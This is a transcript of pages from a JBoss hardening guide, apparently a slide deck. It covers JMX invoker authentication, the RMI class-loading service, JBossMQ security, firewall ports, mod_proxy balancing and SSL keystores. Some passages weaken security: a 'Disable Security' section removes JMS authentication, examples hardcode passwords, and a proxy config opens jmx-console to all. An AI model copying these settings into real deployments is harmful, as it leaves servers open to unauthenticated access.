java secure development part 3

247
490 | Page <name>invocation</name> <type>org.jboss.invocation.Invocation</type> </parameter> <return-type>java.lang.Object</return-type> <!-- Uncomment to require authenticated users --> <descriptors> <interceptors> <interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor" securityDomain="java:/jaas/jmx-console"></interceptor> </interceptors> </descriptors> </operation> The value of the securityDomain attribute maps to the security domain name found in the conf/login-config.xml definitions the same way as the jboss.xml, jboss-web.xml security-domain elements do. In this case the jmx-console security domain configuration is being used. Note, in some version of jboss when running under java5+, you may see an error like the following: . This is due to a change in how the jmx descriptor names are stored with case preserved. To work around this isssue simply use all lower case attribute names: ... <descriptors> <interceptors> <interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor" securitydomain="java:/jaas/jmx-console"></interceptor> </interceptors> </descriptors> This still works under jdk14. Enabling authorization to the RMIAdaptor service Along the lines of the AuthenticationInterceptor, an AuthorizationInterceptor is available in JBoss. The interceptor should be placed after the AuthenticationInterceptor and has the following configuration. authorizingClass : Fully Qualified Name of a class that does the authorization and which contains a method with the following signature "public void authorize( Principal caller, Subject subject, String objectname,String opname)" that can throw a java.lang.SecurityException An example of an authorizing class is available in JBoss. It is theorg.jboss.jmx.connector.invoker.RolesAuthorization, which looks for an hardcoded "JBossAdmin" role in the authenticated subject. <descriptors> <interceptors>

Upload: rafel-ivgi

Post on 11-Apr-2017

116 views

Category:

Software


4 download

TRANSCRIPT

Page 1: Java secure development   part 3

490 | P a g e

<name>invocation</name><type>org.jboss.invocation.Invocation</type>

</parameter><return-type>java.lang.Object</return-type><!-- Uncomment to require authenticated users --><descriptors>

<interceptors><interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor"

securityDomain="java:/jaas/jmx-console"></interceptor></interceptors>

</descriptors></operation>

The value of the securityDomain attribute maps to the security domain name found in theconf/login-config.xml definitions the same way as the jboss.xml, jboss-web.xml security-domainelements do. In this case the jmx-console security domain configuration is being used.

Note, in some version of jboss when running under java5+, you may see an error like thefollowing:. This is due to a change in how the jmx descriptor names are stored with case preserved. Towork around this isssue simply use all lower case attribute names:

...<descriptors>

<interceptors><interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor"

securitydomain="java:/jaas/jmx-console"></interceptor></interceptors>

</descriptors>

This still works under jdk14.

Enabling authorization to the RMIAdaptor service

Along the lines of the AuthenticationInterceptor, an AuthorizationInterceptor is available inJBoss. The interceptor should be placed after the AuthenticationInterceptor and has thefollowing configuration.

authorizingClass : Fully Qualified Name of a class that does the authorization and whichcontains a method with the following signature"public void authorize( Principal caller, Subject subject, String objectname,Stringopname)" that can throw a java.lang.SecurityException

An example of an authorizing class is available in JBoss. It istheorg.jboss.jmx.connector.invoker.RolesAuthorization, which looks for an hardcoded"JBossAdmin" role in the authenticated subject.

<descriptors><interceptors>

Page 2: Java secure development   part 3

491 | P a g e

<interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor"securityDomain="java:/jaas/jmx-console"></interceptor>

<interceptor code="org.jboss.jmx.connector.invoker.AuthorizationInterceptor"authorizingClass="org.jboss.jmx.connector.invoker.RolesAuthorization"></interceptor>

</interceptors></descriptors>

Starting 4.0.4.GA, we have an authorization delegate that looks for passwords from aproperties file called as"jmxinvoker-roles.properties" either in a jar file or can be in the conf directory.As before,

<descriptors><interceptors>

<interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor"securityDomain="java:/jaas/jmx-console"></interceptor>

<interceptor code="org.jboss.jmx.connector.invoker.AuthorizationInterceptor"authorizingClass="org.jboss.jmx.connector.invoker.ExternalizableRolesAuthorization"></interc

eptor></interceptors>

</descriptors>

The format of the jmxinvoker-roles.properties file is as follows:

#Specify the roles that are authorized to access the jmx invoker delimited by commaroles=testRole,testRole1

If you don't succeed in securing the RMIInvoker (that is, calls are made without forcing a login),try placing the security-service.xml in a SAR.Create a folder named security.sar that has a subfolder named META-INF. Then move yoursecurity-service.xml to this folder and rename it to jboss-service.xml. Place the security.sar inyou deploy-folder.

The RMI Class Loading ServiceThere is a simple http service that supports requests for classes for RMI dynamic class loading,org.jboss.web.WebService. The configurable attributes for the WebService MBean service are asfollows:

Port: the WebService listening port number. A port of 0 will use any available port. Host: Set the name of the public interface to use for the host portion of the RMI

codebase URL.

Page 3: Java secure development   part 3

492 | P a g e

BindAddress: the specific address the WebService listens on. This can be used on amulti-homed host for a java.net.ServerSocket that will only accept connect requests toone of its addresses.

Backlog: The maximum queue length for incoming connection indications (a request toconnect) is set to the backlog parameter. If a connection indication arrives when thequeue is full, the connection is refused.

DownloadServerClasses: A flag indicating if the server should attempt to downloadclasses from the thread context class loader when a request arrives that does not have aclass loader key prefix.

DownloadResources (4.0.3+) : A flag indicating if the server should attempt to downloadnon .class file resources using the from thread context class loader. Note that this isgenerally a security risk as it allows access to server configuration files which maycontain security settings.

ThreadPool (4.0.2+): The org.jboss.util.threadpool.BasicThreadPoolMBean instancethread pool used for the WebServer class loading. Typically this is used with the mbeanservice dependency injection syntax as shown in the example configuration.

An example mbean service descriptor fragment is:

<mbean code="org.jboss.web.WebService"name="jboss:service=WebService"><attribute name="Port">8083</attribute><!-- Should non-EJB .class files be downloadable --><attribute name="DownloadServerClasses">true</attribute><!-- Should resources other than .class files be downloadable. Both

DownloadServerClasses and DownloadResources must be true for resourcesto be downloadable. This is false by default because its generally abad idea as server configuration files that container securityinformation can be accessed.

--><attribute name="DownloadResources">false</attribute><attribute name="Host">${jboss.bind.address}</attribute><attribute name="BindAddress">${jboss.bind.address}</attribute><!-- Use the default thread pool for dynamic class loading --><depends optional-attribute-name="ThreadPool"

proxy-type="attribute">jboss.system:service=ThreadPool</depends></mbean>

If the MBean is created, it calculates an URL based on the Host and Port attribute. (If no Hostatribute was given it tries to use the java.rmi.server.name system property or the localhostname otherwise. This calculated URL will be stored into the java.rmi.server.codebaseattribute. (One user of this attribute is for example the exported JNDI server stub).

Securing the RMI Dynamic ClassLoading ServiceThe DownloadResources setting should certainy be false if you have any concern about leakinginformation through this server. Beyond that, one step in increasing the security is to set

Page 4: Java secure development   part 3

493 | P a g e

DownloadServerClasses to false so that only ejb deployment classes are available for download.Another is to use an anonymous port so that access is not via a well know port as a security byobscurity measure.

Removing the RMI Dynamic ClassLoading ServiceRemoval of the WebService altogether is certainly the best security step if you want to limitaccess points. You need to remove the mbean definition from jboss-server.xml and also removethe dependency of the EJB Deployer:

<!-- EJB deployer, remove to disable EJB behavior--><mbean code="org.jboss.ejb.EJBDeployer" name="jboss.ejb:service=EJBDeployer">

...<!-- depends optional-attribute-name=WebServiceName>jboss:service=WebService</depends -->

</mbean>

Secure Using a Tomcat (or another webserver) for dynamic classloadingYou can take complete control of what resources/classes are available for dynamic class loadingby deploying only the classes you want to expose for dynamic classloading in a war file, e.g.remoteclasses.war to a standalone tomcat or webserver. You then tell RMI to use this addressas the codebase for dynamic classloading when starting JBoss, e.g.

./run.sh -Djava.rmi.server.codebase=http://hostname:8080/remoteclasses

You should of cause also remove the WebService MBean as described above.

JBossMQ Security Configuration

To configure security on JBoss MQ there are a few steps you need to take. These involve thefollowing:

Identify a security domain to use for messaging. Configure your MDB:s to use security credentials when reading from the message

queues / topics. Use the authenticated connection methods when connecting to the messaging service

from your clients. Configure security on the topics and queues.

Identify a security domain

Page 5: Java secure development   part 3

494 | P a g e

Security domains are configured in the conf/login-config.xml file. The sample file that comeswith the distribution is pretty well commented with examples. By default there is a securitydomain configured with the name "jbossmq".

To tell JBoss MQ which security domain to use when checking credentials, edit thefiledeploy/jms/jbossmq-service.xml. In this file you will have an entry that looks something likethis:

<mbean code="org.jboss.mq.security.SecurityManager" name="jboss.mq:service=SecurityManager"><attribute name="DefaultSecurityConfig">

<security><role name="guest" read="true" write="true" create="true"></role>

</security></attribute>

<attribute name="SecurityDomain">java:/jaas/jbossmq</attribute><depends optional-attribute-name="NextInterceptor">jboss.mq:service=DestinationManager</depends>

</mbean>

To change security domain to use, change the attribute called "SecurityDomain".

Notice the DefaultSecurityConfig. To enable non-authenticated messaging make sure that therole name, in this case "guest" is the same as the "unauthenticatedIdentity" in the definition ofthe security domain in login-config.xml.

Configure MDB:s to use security

Your message driven beans "log in" to the queues / topics that "drive" them. If you enablesecurity in JMS the beans will have to identify themselves.

What identity the should use you specify in the jboss.xml file for the given beans. See belowexample:

<message-driven><ejb-name>CMyMessageBean</ejb-name><destination-jndi-name>queue/myQueue</destination-jndi-name><mdb-user>scott</mdb-user><mdb-passwd>tiger</mdb-passwd><resource-ref>

<res-ref-name>jdbc/base</res-ref-name><jndi-name>java:/jdbc/myconnection</jndi-name>

</resource-ref></message-driven>

Page 6: Java secure development   part 3

495 | P a g e

The mdb-user and mdb-passwd should match a user that exists in your security domain.

Use authenticated connections in client code

If you have clients connecting to your security enabled messaging service they will have tosupply user credentials. It is not enough to login using the client-login you normally use whencalling JBoss EJB:s, in fact it's not even related, so you don't have to login using that client-login.

What you have to do is use these methods when creating the jms-connections:

QueueConnectionFactory connectionFactory =(QueueConnectionFactory) ctx.lookup("ConnectionFactory");

try {destination =

(javax.jms.Queue) ctx.lookup(QUEUENAME);} catch (javax.naming.NameNotFoundException nne) {

m_log.fatal("Could not find recipent queue: " + QUEUENAME);System.exit(1);

}QueueConnection connection = connectionFactory.createQueueConnection(JMSUSER, JMSPASS);

And for topics:

TopicConnectionFactory connectionFactory =(TopicConnectionFactory) ctx.lookup("ConnectionFactory");

try {destination =

(javax.jms.Topic) ctx.lookup(TOPICNAME);} catch (javax.naming.NameNotFoundException nne) {

m_log.fatal("Could not find topic: " + TOPICNAME);System.exit(1);

}TopicConnection connection = connectionFactory.createTopicConnection(JMSUSER, JMSPASS);

Configure security on the topics and queues

In the deploy/jms/jbossmq-destinations-service.xml file you can configure the topics, queuesand who can access them and how. The default file that comes with JBoss contains commentsand examples that describes how this step is done.

Make sure that the user that you supplied in your jboss.xml file for your MDB:s match the rolesthat you specify here.

Disable Security

Page 7: Java secure development   part 3

496 | P a g e

As of JBoss 4.2.3, edit server/xxx/deploy/jms/jbossmq-service.xml. Find

<mbean code="org.jboss.mq.server.jmx.Invoker" name="jboss.mq:service=Invoker">

And change 2 lines down from:

<depends optional-attribute-name="NextInterceptor">jboss.mq:service=SecurityManager</depends>

To:

<depends optional-attribute-name="NextInterceptor">jboss.mq:service=TracingInterceptor</depends>

This will eliminate principal=null errors for unauthenticated Message Driven Bean (MDB) byremoving the SecurityManager interceptor that checks for them. The errors look like this:

javax.jms.JMSSecurityException: User: null is NOT authenticatedat org.jboss.mq.security.SecurityManager.authenticate(SecurityManager.java:230)at org.jboss.mq.security.ServerSecurityInterceptor.authenticate(ServerSecurityInterceptor.java:66)at org.jboss.mq.server.TracingInterceptor.authenticate(TracingInterceptor.java:613)at org.jboss.mq.server.JMSServerInvoker.authenticate(JMSServerInvoker.java:172)at org.jboss.mq.il.jvm.JVMServerIL.authenticate(JVMServerIL.java:165)at org.jboss.mq.Connection.authenticate(Connection.java:1067)

...

13:54:17,255 INFO [JMSContainerInvoker] Waiting for reconnect internal 10000ms forRandomClientMessageBean13:54:27,256 INFO [JMSContainerInvoker] Trying to reconnect to JMS provider forRandomClientMessageBean13:54:27,257 ERROR [UsersRolesLoginModule] Failed to load users/passwords/role filesjava.io.IOException: No properties file: props/jbossmq-users.properties or defaults: defaultUsers.propertiesfound13:56:18,725 INFO [JMSContainerInvoker] Waiting for reconnect internal 10000ms forRandomClientMessageBean..2008-12-28 13:53:42,806 DEBUG [org.jboss.ejb.plugins.jms.DLQHandler] Initialization failed DLQHandler

Removing HSQLDB

JBoss 3.2 and 4.0.x remove the descriptor for the HSQLDB datasource DefaultDS by deleting deploy/hsqldb-

ds.xml; in conf/login-config.xml, comment out the <application-policy> declaration with the

name"HsqlDbRealm"; remove the HSQLDB libraries by deleting lib/hsqldb.jar and lib/hsqldb-plugin.jar.

Several services rely on the datasource:

Page 8: Java secure development   part 3

497 | P a g e

o JBossMQ;o EJBTimerService;o HiLoGenerator.

After removing the datasource you should either:o configure another datasource with the JNDI name DefaultDS;o go through all the references in the various descriptors and change them to

reference another datasource.

JBoss AS 5.x.xRemove the libraries hsqldb.jar and hsqldb-plugin.jar from jboss/common/lib/.Copy the necessary driver libraries for the new dbms to the directory jboss/server/xxx/lib/.Create a database and users with enough rights for this database.Modify the application-policy HsqlDbRealm in jboss/server/xxx/conf/login-config.xml. Configurethe username and password for the database. Rename it. For example MySqlDbRealm.Remove the data source jboss/server/xxx/deploy/hsqldb-ds.xml which has DefaultDS as jndiname and create a new local-tx data source with DefaultDS as jndi name in directoryjboss/server/xxx/deploy/. Examples could be found in jboss/docs/examples/jca/.Add to the new data source <transaction-isolation>TRANSACTION_READ_COMMITTED</transaction-isolation> and add the <security-domain>xxxDbRealm</security-domain> which you defined in jboss/server/xxx/conf/login-config.xmlModify jboss/server/xxx/conf/standardjbosscmp-jdbc.xml so that the <datasource-mapping>has the correct mapping and set <fk-constraint> on true, if your db could handle foreign keys

Remove jboss/server/xxx/deploy/messaging/hsqldb-persistence-service.xml and createa new xxx-persistence-service.xml. Examples could be found injboss/docs/examples/jms/.Make sure that <depends optional-attribute-name="ChannelFactoryName">jboss.jgroups:service=ChannelFactory</depends> isreplaced by <attributename="ChannelFactoryName">jboss.jgroups:service=ChannelFactory</attribute> (seejiraJBAS-6333 and JBAS-6991)

Configuring JBoss for use Behind a Firewall

JBoss comes with many socket based services that open listening ports. In this section we list theservicesthat open ports that might need to be configured to work when accessing JBoss behind afirewall. The following table, shows the ports, socket type, associated service and link to theservice configuration for the services in the default configuration file set.

Port Type Service Descriptor Service Name AttributeName

1098 TCP conf/jboss-service.xml jboss:service=Naming RmiPort1099 TCP conf/jboss-service.xml jboss:service=Naming Port

Page 9: Java secure development   part 3

498 | P a g e

3873 TCP deploy/ejb3.deployer/META-INF/jboss-service.xml

jboss.remoting:type=Connector,name=DefaultEjb3Connector,handler=ejb3 InvokerLocator

4444 TCP conf/jboss-service.xml jboss:service=invoker,type=jrmp (legacy 4.0.x invoker) RMIObjectPort4445 TCP conf/jboss-service.xml jboss:service=invoker,type=pooled (legacy 4.0.x invoker) ServerBindPort

4446 TCP conf/jboss-service.xml jboss.remoting:service=Connector,transport=socket (EJB2 beans in AS/EAP4.2+)

serverBindPorton

Configuration

8009 TCPdeploy/jbossweb-

tomcat41.sar/META-INF/jboss-service.xml

jboss.web:service=WebServer port on AJPConnector

8080 TCPdeploy/jbossweb-

tomcat41.sar/META-INF/jboss-service.xml

jboss.web:service=WebServer port on HTTPConnector

8083 TCP conf/jboss-service.xml jboss:service=WebService Port

8090 TCP deploy/jms/oil-service.xml jboss.mq:service=InvocationLayer,type=OIL ServerBindPort

8092 TCP deploy/jms/oil2-service.xml jboss.mq:service=InvocationLayer,type=OIL2 ServerBindPort

8093 TCP deploy/jms/uil2-service.xml jboss.mq:service=InvocationLayer,type=UIL2 ServerBindPort

0(a) TCP deploy/jms/rmi-il-service.xml jboss.mq:service=InvocationLayer,type=RMI NONE

0(b) UDPdeploy/snmp-

adaptor.sar/META-INF/jboss-service.xml

jboss.jmx:name=SnmpAgent,service=snmp,type=adaptor NONE

(a) This service binds to an anonymous TCP port and does not support configuration of the portor bind interface. Remove the rmi-il-service.xml to disable it NOTE: this RMI invoker service isdeprecated since the beginning of 2005

(b) This service binds to an anonymous UDP port and does not support configuration of the portor bind interface. Remove the snmp-adaptor.sar to disable it

JBossMessaging will use these ports:Port Type Service Descriptor Service Name Attribute Name

4457 TCPdeploy/jboss-messaging.sar/remoting-bisocket-service.xml

jboss.messaging:service=Connector,transport=bisocket serverBindPort

Randombydefault

TCPdeploy/jboss-messaging.sar/remoting-bisocket-service.xml

jboss.messaging:service=Connector,transport=bisocket secondaryBindPort

Randombydefault

TCPdeploy/jboss-messaging.sar/remoting-bisocket-service.xml

jboss.messaging:service=Connector,transport=bisocket secondaryConnectPort

Case you are using JBossMessaging in your configuration, you won't have anydeploy/jms ports being used as described on the first table

Additional ports found in the all configuration:Port Type Service Descriptor Service Name Attribute Name1100 TCP deploy/cluster-service.xml jboss:service=HAJNDI Port1101 TCP deploy/cluster-service.xml jboss:service=HAJNDI RmiPort

Page 10: Java secure development   part 3

499 | P a g e

1102 UDP deploy/cluster-service.xml jboss:service=HAJNDI AutoDiscoveryGroup

1161 UDPdeploy/snmp-

adaptor.sar/META-INF/jboss-service.xml

jboss.jmx:name=SnmpAgent,service=snmp,type=adaptor Port

1162 UDPdeploy/snmp-

adaptor.sar/META-INF/jboss-service.xml

jboss.jmx:name=SnmpAgent,service=trapd,type=logger Port

3528 TCP conf/jacorb.properties OAPort4447 TCP deploy/cluster-service.xml jboss:service=invoker,type=jrmpha (legacy 4.0.x invoker) RMIObjectPort

4448 TCP deploy/cluster-service.xml jboss:service=invoker,type=pooledha (legacy 4.0.xinvoker) ServerBindPort

49152 TCP deploy/cluster-service.xml jboss:service=${jboss.partition.name:DefaultPartition} start_port onFD_SOCK

49153 TCPdeploy/tc5-

cluster.sar/META-INF/jboss-service.xml

jboss.cache:service=TomcatClusteringCache start_port onFD_SOCK

One possible configuration for RMI through a firewall

NOTE: this was only tested in version 3.2.5 with java 1.4, but information in the forums indicatethat this method has worked for several years. Search for NAT to find related information.

Open three ports through your firewall, one for the naming service, a second for the namingservice RmiPort, and a third for the jrmp RMIObjectPort. These ports must be "fixed" on thesystem behind the firewall so that communications always happen on ports opened through thefirewall. This is done in the jboss-service.xml file.

<mbean code="org.jboss.naming.NamingService"name="jboss:service=Naming"><!-- The listening port for the bootstrap JNP service. Set this to -1

to run the NamingService without the JNP invoker listening port.--><attribute name="Port">1099</attribute><attribute name="RmiPort">1098</attribute>

</mbean>

and

<!-- RMI/JRMP invoker --><mbean code="org.jboss.invocation.jrmp.server.JRMPInvoker"

name="jboss:service=invoker,type=jrmp"><attribute name="RMIObjectPort">4444</attribute><!--<attribute name="ServerAddress">${jboss.bind.address}</attribute><attribute name="RMIClientSocketFactory">custom</attribute><attribute name="RMIServerSocketFactory">custom</attribute><attribute name="SecurityDomain">ssl-domain-name</attribute>

Page 11: Java secure development   part 3

500 | P a g e

-->

<depends>jboss:service=TransactionManager</depends></mbean>

Then, on the system behind the firewall, the following parameters need to be added to the javacommand line in the run.sh script to pass back the "correct" RMI information to the systemoutside of the firewall. "Correct" in this case means the hostname that the outside systemrefers to when addressing the systembehind the firewall.

-Djava.rmi.server.hostname=<external_host_name>-Djava.rmi.server.useLocalHostname=true

NOTE: shouldn't it be -Djava.rmi.server.useLocalHostname=false since it should NOT return thelocal host name? Works here (4.2.2.GA) with set to false.

This solves the problem of the machine behind the firewall passing back it's local IP address thatthe machine outside the firewall cannot get to. NOTE: this assumes a pretty simple setup whereeverything outside the firewall references the machine behind the firewall with the same hostname.

In more complex configurations, it may be necessicary for the system running behind thefirewall to be able to resolve:1099" when the initial context is created for the RMI access.

PooledInvokerWhen using the PooledInvoker the attribute "ClientConnectAddress"(jboss-service.xml) is thehost name that clients will use to connect to the server. You might need to set this to a DNSname that can be resolved by remote clients. This will default to the hostname of the serverrunning jboss which may not be accessible by remote clients.

To invoke services behin firewall or NAT you need to modify two file

jboss/server/default/deploy/ejb3.deployer/META-INF/jboss-service.xml

<mbean code="org.jboss.remoting.transport.Connector"name="jboss.remoting:type=Connector,name=DefaultEjb3Connector,handler=ejb3">

<depends>jboss.aop:service=AspectDeployer</depends><attribute name="Configuration">

<config><invoker transport="socket">

<attribute name="numAcceptThreads">1</attribute><attribute name="maxPoolSize">300</attribute><attribute name="clientMaxPoolSize" isParam="true">50</attribute>

Page 12: Java secure development   part 3

501 | P a g e

<attribute name="timeout" isParam="true">60000</attribute><attribute name="serverBindAddress">${jboss.bind.address}</attribute><attribute name="serverBindPort">3873</attribute>

<!-- that's the important setting --><attribute name="clientConnectAddress">webaddress.com</attribute><attribute name="clientConnectPort">3873</attribute>

<attribute name="backlog">200</attribute></invoker><handlers>

<handler subsystem="AOP">org.jboss.aspects.remoting.AOPRemotingInvocationHandler</handler></handlers>

</config></attribute>

</mbean>

and

/jboss/server/default/deploy/http-invoker.sar/META-INF/jboss-services.xml

<!-- The HTTP invoker service configration--><mbean code="org.jboss.invocation.http.server.HttpInvoker"

name="jboss:service=invoker,type=https"><!-- Use a URL of the form http://<hostname>:8080/invoker/EJBInvokerServletwhere <hostname> is InetAddress.getHostname value on which the serveris running.-->

<attribute name="InvokerURL">https://webaddress.com:8443/invoker/EJBInvokerServlet</attribute><attribute name="InvokerURLPrefix">https://</attribute><attribute name="InvokerURLSuffix">:8443/invoker/EJBInvokerServlet</attribute><!-- important to turn it off --><attribute name="UseHostName">false</attribute>

</mbean>

<!-- Expose the Naming service interface via HTTPS --><mbean code="org.jboss.invocation.http.server.HttpProxyFactory"

name="jboss:service=invoker,type=https,target=Naming"><!-- The Naming service we are proxying --><attribute name="InvokerName">jboss:service=Naming</attribute><!-- Compose the invoker URL from the cluster node address --><attribute name="InvokerURL">https://webaddress.com:8443/invoker/JMXInvokerServlet</attribute><attribute name="InvokerURLPrefix">https://</attribute><attribute name="InvokerURLSuffix">:8443/invoker/JMXInvokerServlet

</attribute><attribute name="UseHostName">false</attribute><attribute name="ExportedInterface">org.jnp.interfaces.Naming

</attribute><attribute name="JndiName"></attribute><attribute name="ClientInterceptors">

<interceptors><interceptor>org.jboss.proxy.ClientMethodInterceptor

Page 13: Java secure development   part 3

502 | P a g e

</interceptor><interceptor>org.jboss.proxy.SecurityInterceptor

</interceptor><interceptor>org.jboss.naming.interceptors.ExceptionInterceptor

</interceptor><interceptor>org.jboss.invocation.InvokerInterceptor

</interceptor></interceptors>

</attribute></mbean>

Using mod_proxy with JBoss bundle and Apache2.2.x

This following information outlines the various steps required to install a basic load-balancingsolution based on mod_proxy, mod_proxy_balancer and JBoss. Mod_proxy allows to usehttp/https and AJP protocols to proxy to JBoss. This documentation is for Apache httpd-2.2.x ifyou have to use older version of httpd see Load Balancing using mod_rewrite and mod_proxy

Using mod_proxy with http/https:

Step 1: Download Apache2.2.x Web Server

Get the latest Apache2.2.x package from Apache.org and install it. We require no specialconfiguration, just use the default settings. In the following steps, APACHE_HOME will representthe Apache install directory.

+ Note:* At the time of the writting of this document Apache 2.2.9 is most stable version of

Apache httpd-2.2.x and is recommended if you want to use load-balancing using mod_proxy+

Step 2: Setup Apache to use mod_proxy (HTTP)

Make sure that at least following modules are loaded (uncomment this in httpd.conf)

LoadModule proxy_module modules/mod_proxy.soLoadModule proxy_balancer_module modules/mod_proxy_balancer.soLoadModule proxy_http_module modules/mod_proxy_http.so

These are sufficient for http load balancing. However you may need to load mod_proxy_ftpmodule if you are using ftp or load mod_proxy_connect module if you are using SSL

Page 14: Java secure development   part 3

503 | P a g e

Add those lines in APACHE_HOME/conf/httpd.conf :

<Proxy balancer://mycluster>Order deny,allowAllow from all

BalancerMember http://host1:8080 route=node1BalancerMember http://host2:8180 route=node2

</Proxy>

ProxyPass /jmx-console balancer://myclusterProxyPassReverse /jmx-console http://host1:8080/jmx-consoleProxyPassReverse /jmx-console http://host2:8180/jmx-console

By default the requests are load balanced in byrequests fashion, which performs weightedrequest counting. This is determined by parameter lbmethod. The stickysession parameter isalso required, as there is no default value. stickysession is used to determine which URL sessionname or cookie to use when looking for the route for the request.

ProxyPass /jmx-console balancer://mycluster lbmethod=byrequests stickysession=JSESSIONID|jsessionid

You can find more about ProxyPass attributes in the Apache HTTP Server documentation athttp://httpd.apache.org/docs/2.2/mod/mod_proxy.html

Step 3: Configure JBoss Web if you want to use sticky session

Edit JBOSS_HOME/server/all/deploy/jbossweb-web.deployer/server.xml (replace /all with yourown server name)Locate the <Engine> element and add an attribute for jvmRoute:

<Engine name="jboss.web" defaultHost="localhost" jvmRoute="node1">.

</Engine>

Step 4: Configure JBoss session to add jvmRoute to the sessions

Finally, we need to tell JBoss Web to add the jvmRoute value to its session cookies so thatmod_proxy_balancer can route incoming requests.

Page 15: Java secure development   part 3

504 | P a g e

Edit JBOSS_HOME/server/all/deploy/jboss-web.deployer/META-INF/jboss-service.xml (replace/all with your own server name)

Locate the attribute element with a name of UseJK, and set its value to "true":

<attribute name="UseJK">true</attribute>

Using mod_proxy with AJP:

Step 1: See Using mod_proxy with http/https (above)

Step 2: Setup Apache to use mod_proxy (AJP)

Make sure that at least following modules are loaded (uncomment this in httpd.conf)

LoadModule proxy_module modules/mod_proxy.soLoadModule proxy_balancer_module modules/mod_proxy_balancer.soLoadModule proxy_ajp_module modules/mod_proxy_ajp.so

Add those lines in APACHE_HOME/conf/httpd.conf :

<Proxy balancer://mycluster>Order deny,allow

Allow from all

BalancerMember ajp://localhost:8009/jmx-consoleBalancerMember ajp://localhost:8109/jmx-console

</Proxy>

ProxyPass /jmx-console balancer://mycluster

Step 3: See Using mod_proxy with http/https (above)

Step 4: See Using mod_proxy with http/https (above)

When to use mod_jk and when to use mod_proxy for load-balancing

Load balancing is definitely easier to configure using mod_proxy as compared to mod_jk1.x.

Page 16: Java secure development   part 3

505 | P a g e

mod_proxy works well since version 2.2.2 of Apache httpd. Don't use mod_proxy with olderversion of Apache httpd.

mod_jk is in continous development phase and is tried and tested by many people arround theworld. mod_proxy is fairly new.

mod_proxy_http doesn't forward the SSL information to JBoss Web (See Forwarding SSLenvironment when using http/https proxy )

mod_proxy allows to use https between Apache httpd and JBoss Web (See Encryptingconnection between httpd and TC).

If you decide to use mod_proxy, you have two options for load-balancing

When to use mod_proxy + mod_proxy_http and mod_proxy +mod_proxy_ajp for load-balancing

AJP is binary, so there was the transmission savings JBoss Web could handle AJP faster and more efficiently than HTTP (the AJP endpoints were

quicker than the HTTP endpoint implementations) However mod_proxy_http now implements connection pooling and load balancing so one needs

to test mod_proxy_http as well as mod_proxy_ajp before deciding

Here is the FAQ on mod_proxy_ajp vs mod_jk

Using sticky sessions:

Add stickysession parameter to ProxyPass

ProxyPass /jmx-console balancer://mycluster stickysession=JSESSIONID lbmethod=bytrafficnofailover=Off

Sticky Session is supported by mod_proxy_http as well as mod_proxy_ajp

Note:* If you are using mod_proxy_http you have to create one ProxyPassReverse for each BalancerMember youdefine in the balancer.

Going over the 8K AJP headers limits:The default size of a AJP package is 8K as the http headers are sent only in the first packet itcould be needed to overcome the limit.

To reach this you need to add packetSize parameter in the <Connector/> parameter like:

Page 17: Java secure development   part 3

506 | P a g e

<Connector port="8009" protocol="AJP/1.3"packetSize="20000"redirectPort="8443" ></Connector>

and ProxyIOBufferSize (also LimitRequestFieldsize probably) directive in httpd.conf too. Forexample:

ProxyIOBufferSize 19000LimitRequestFieldsize 18000

packetSize is supported since Tomcat 5.5.21 and Tomcat 6.0.1.

Old version of httpd-2.2.x (x<5) need a patch to support this extension. You find the patchathttp://people.apache.org/~jfclere/patches/ProxyIOBufferSize.patch

Set Up A Keystore

Generate keystore file with your own password

quick setup

$ keytool -genkey -keystore /data01/jboss/server/xxx/conf/keystore -alias jbossAdmin$ keytool -list -keystore /data01/jboss/server/xxx/conf/keystore

SSLSetup

Tomcat configurations

JBoss-3.2.3/Tomcat-4.1.x Create a test keystore in the server/default/conf directory:

starksm@banshee9100 conf$ keytool -genkey -alias tc-ssl -keyalg RSA -keystore server.keystore -validity3650

Enter keystore password: tc-sslWhat is your first and last name?

[Unknown]: www.myhost.comWhat is the name of your organizational unit?

[Unknown]: Some dot comWhat is the name of your organization?

[Unknown]: SecurityWhat is the name of your City or Locality?

[Unknown]: SomeCityWhat is the name of your State or Province?

[Unknown]: Washington

Page 18: Java secure development   part 3

507 | P a g e

What is the two-letter country code for this unit?[Unknown]: US

Is CN=www.myhost.com, OU=Some dot com, O=Security, L=SomeCity, ST=Washington, C=US correct?[no]: yes

Enter key password for <tc-ssl>(RETURN if same as keystore password):

Please note that the answer to the "first and last name?" question is important. This answerconsitutes the CN= part of your so called distinguished name. The browser will check that theCN= part matches the end of the domain it requested the web page from. If the CN= and the theweb page domain do not match the browser will display an additional warning. So for localdevelopment you may want to use "localhost" as CN and later on use the domain name of thehost that will serve request from the internet.

Edit jbossweb-tomcat41.sar/META-INF/jboss-service.xml and uncomment the following sectionand update the keystoreFile,

<!-- SSL/TLS Connector configuration --><Connector className = "org.apache.coyote.tomcat4.CoyoteConnector"

address="${jboss.bind.address}" port = "8443" scheme = "https"secure = "true"><Factory className = "org.apache.coyote.tomcat4.CoyoteServerSocketFactory"

keystoreFile="${jboss.server.home.dir}/conf/server.keystore"keystorePass="tc-ssl"protocol = "TLS"></Factory>

</Connector>

You need to replace the value for keystorePass with the password you used while creating thekey.

Start the server and browse to: https://localhost:8443/jmx-console/index.jsp to test the sslconnection. Your browser should complain about an not trusting the signer. To avoid this youwould need to either import the server certificate into you browser or obtain a certificate from awell known cert authority (Ex: Thawte, Verisign). See the examples section of the keytooldocs:http://java.sun.com/j2se/1.4.2/docs/tooldocs/windows/keytool.html for the proceedureto create a server certificate that has been signed by a trusted CA.

On startup the log may contain this warning:

10:31:48,952 DEBUG [SSLImplementation] [getInstance.119] Error loading SSL Implementationorg.apache.tomcat.util.net.puretls.PureTLSImplementationjava.lang.ClassNotFoundException: No ClassLoaders found for:org.apache.tomcat.util.net.puretls.PureTLSImplementation

Ignore it unless you are tyring to use the PureTLS SSL implementation. Tomcat tries to finddifferent SSL implementations and defaults to JSSE if no others are found.

Page 19: Java secure development   part 3

508 | P a g e

JBoss-3.2.4+/Tomcat-5.0.xIn jboss-3.2.4+ the tomcat-5.0.x container has its configuration in the jbossweb-tomcat50.sar/server.xml descriptor.

JBoss-4.2.1In jboss-4.2.1 the web container has its configuration in the deploy/jboss-web.deployer/server.xml descriptor.

JBoss-5 and laterIn JBoss 5 and later, the web deployer is configured from deploy/jbossweb.sar/server.xml.

